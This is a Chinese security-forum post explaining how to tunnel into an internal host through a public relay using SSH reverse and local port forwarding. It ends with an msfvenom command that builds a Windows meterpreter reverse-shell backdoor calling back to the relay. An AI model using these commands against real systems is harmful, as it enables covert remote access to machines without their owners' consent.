安全矩阵

 找回密码
 立即注册
搜索
查看: 6843|回复: 0

利用ssh反向代理完成远程SHELL

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-19 19:37:56 | 显示全部楼层 |阅读模式
原文链接:利用ssh反向代理完成远程SHELL
概况说明:机器IP用户名备注
A192.168.1.10root目标服务器,处于内网
B106.13.55.126root外网服务器,相当于桥梁的作用

ssh参数:反向代理
ssh -fCNR
正向代理
ssh -fCNL
-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-p 指定远程主机的端口首先在A上面操作:
建立A机器到B机器的反向代理,具体指令为
  1. ssh -fCNR [B机器IP或省略]:[B机器端口]:[A机器的IP]:[A机器端口] [登陆B机器的用户名@服务器IP]
复制代码
在这里我使用了B机器的6666端口,以及A机器的5555端口,按照上面的指令就是这样子的操作
  1. ssh -fCNR 6666:localhost:5555 root@106.13.55.126
复制代码

检验是否已经启动了可以使用ps aux | grep ssh指令来查看:


接着在B上面操作:建立B机器的正向代理,用来做转发,具体指令为
  1. ssh -fCNL [A机器IP或省略]:[A机器端口]:[B机器的IP]:[B机器端口] [登陆B机器的用户名@B机器的IP]
复制代码
按照第3那里输入的指令,这里的B机器的端口和上面的B机器的端口是一致的,端口1234的也是B机器的。
  1. ssh -fCNL *:7777:localhost:6666 localhost
复制代码

在此7777端口为本地转发端口,负责和外网进行通信,并将数据转发的6666这个端口,实现了可以从其他机器访问的功能。同时,*号表示可以接受任何IP的访问。

实现外网shell
使用 msf 生成后门,反弹到 B:7777
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=B_IP LPORT=7777 -f exe > /root/test.exe
复制代码



然后在内网主机 B 设置好 handler


这样我们便利用ssh完成了端口转发!
不足但是这种ssh反向链接会因为超时而关闭,如果关闭了那从外网连通内网的通道就无法维持了











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 19:46 , Processed in 0.012925 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表